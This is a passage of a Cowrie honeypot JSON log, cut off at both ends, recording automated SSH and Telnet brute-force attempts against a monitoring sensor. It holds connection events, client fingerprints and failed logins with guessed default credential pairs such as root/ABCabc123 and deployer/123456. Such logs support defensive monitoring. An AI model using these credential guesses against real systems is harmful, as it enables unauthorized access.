-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:07.015981Z","src_ip":"91.92.40.36","session":"aa05e2ac9d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":57578,"dst_ip":"10.17.0.5","dst_port":22,"session":"23889170d7fb","protocol":"ssh","message":"New connection: 101.36.122.139:57578 (10.17.0.5:22) [session: 23889170d7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:07.213143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:07.215962Z","src_ip":"101.36.122.139","session":"23889170d7fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:07.428035Z","src_ip":"101.36.122.139","session":"23889170d7fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:07.645097Z","src_ip":"45.153.34.195","session":"31213b4d4c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin@2024","message":"login attempt [user/admin@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:08.318770Z","src_ip":"101.36.122.139","session":"23889170d7fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":45008,"dst_ip":"10.17.0.5","dst_port":22,"session":"f52f9aa57e81","protocol":"ssh","message":"New connection: 45.153.34.195:45008 (10.17.0.5:22) [session: f52f9aa57e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:09.034659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:09.044842Z","src_ip":"45.153.34.195","session":"f52f9aa57e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:09.135397Z","src_ip":"45.153.34.195","session":"f52f9aa57e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"password","message":"login attempt [splunk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:09.473658Z","src_ip":"45.153.34.195","session":"f52f9aa57e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:09.538059Z","src_ip":"101.36.122.139","session":"23889170d7fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:10.558553Z","src_ip":"45.153.34.195","session":"f52f9aa57e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3server","message":"login attempt [ts3server/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:11.602689Z","src_ip":"91.92.40.36","session":"aa05e2ac9d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":45034,"dst_ip":"10.17.0.5","dst_port":22,"session":"a51cedd6e3eb","protocol":"ssh","message":"New connection: 45.153.34.195:45034 (10.17.0.5:22) [session: a51cedd6e3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:11.903361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:11.908423Z","src_ip":"45.153.34.195","session":"a51cedd6e3eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:12.009357Z","src_ip":"45.153.34.195","session":"a51cedd6e3eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.66940665245056,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:12.071957Z","src_ip":"172.81.62.90","session":"2e0683f1a98a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:12.267860Z","src_ip":"45.153.34.195","session":"a51cedd6e3eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54692,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ab84598bbcd","protocol":"ssh","message":"New connection: 91.92.40.36:54692 (10.17.0.5:22) [session: 1ab84598bbcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:12.425903Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:13.352001Z","src_ip":"45.153.34.195","session":"a51cedd6e3eb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:14.183070Z","src_ip":"91.92.40.36","session":"1ab84598bbcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:14.186539Z","src_ip":"91.92.40.36","session":"1ab84598bbcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:14.477640Z","src_ip":"91.92.40.36","session":"aa05e2ac9d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48730,"dst_ip":"10.17.0.5","dst_port":22,"session":"511e258a1566","protocol":"ssh","message":"New connection: 45.153.34.195:48730 (10.17.0.5:22) [session: 511e258a1566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:14.714681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:14.727224Z","src_ip":"45.153.34.195","session":"511e258a1566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:14.811526Z","src_ip":"45.153.34.195","session":"511e258a1566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:15.146481Z","src_ip":"45.153.34.195","session":"511e258a1566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:16.230161Z","src_ip":"45.153.34.195","session":"511e258a1566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48746,"dst_ip":"10.17.0.5","dst_port":22,"session":"25690eaaa332","protocol":"ssh","message":"New connection: 45.153.34.195:48746 (10.17.0.5:22) [session: 25690eaaa332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:17.605400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:17.610074Z","src_ip":"45.153.34.195","session":"25690eaaa332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:17.714276Z","src_ip":"45.153.34.195","session":"25690eaaa332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"logs","password":"logs","message":"login attempt [logs/logs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:17.824543Z","src_ip":"91.92.40.36","session":"1ab84598bbcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123","message":"login attempt [root/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:17.971579Z","src_ip":"45.153.34.195","session":"25690eaaa332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:19.055736Z","src_ip":"45.153.34.195","session":"25690eaaa332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:19.369266Z","src_ip":"91.92.40.36","session":"1ab84598bbcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48754,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a9f3e0352b1","protocol":"ssh","message":"New connection: 45.153.34.195:48754 (10.17.0.5:22) [session: 0a9f3e0352b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:20.610653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:20.616298Z","src_ip":"45.153.34.195","session":"0a9f3e0352b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:20.711950Z","src_ip":"45.153.34.195","session":"0a9f3e0352b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1234","message":"login attempt [ubuntu/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:21.024111Z","src_ip":"45.153.34.195","session":"0a9f3e0352b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:22.107838Z","src_ip":"45.153.34.195","session":"0a9f3e0352b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24868,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c5439008356","protocol":"ssh","message":"New connection: 91.92.40.36:24868 (10.17.0.5:22) [session: 9c5439008356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:22.287239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:23.091986Z","src_ip":"91.92.40.36","session":"9c5439008356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 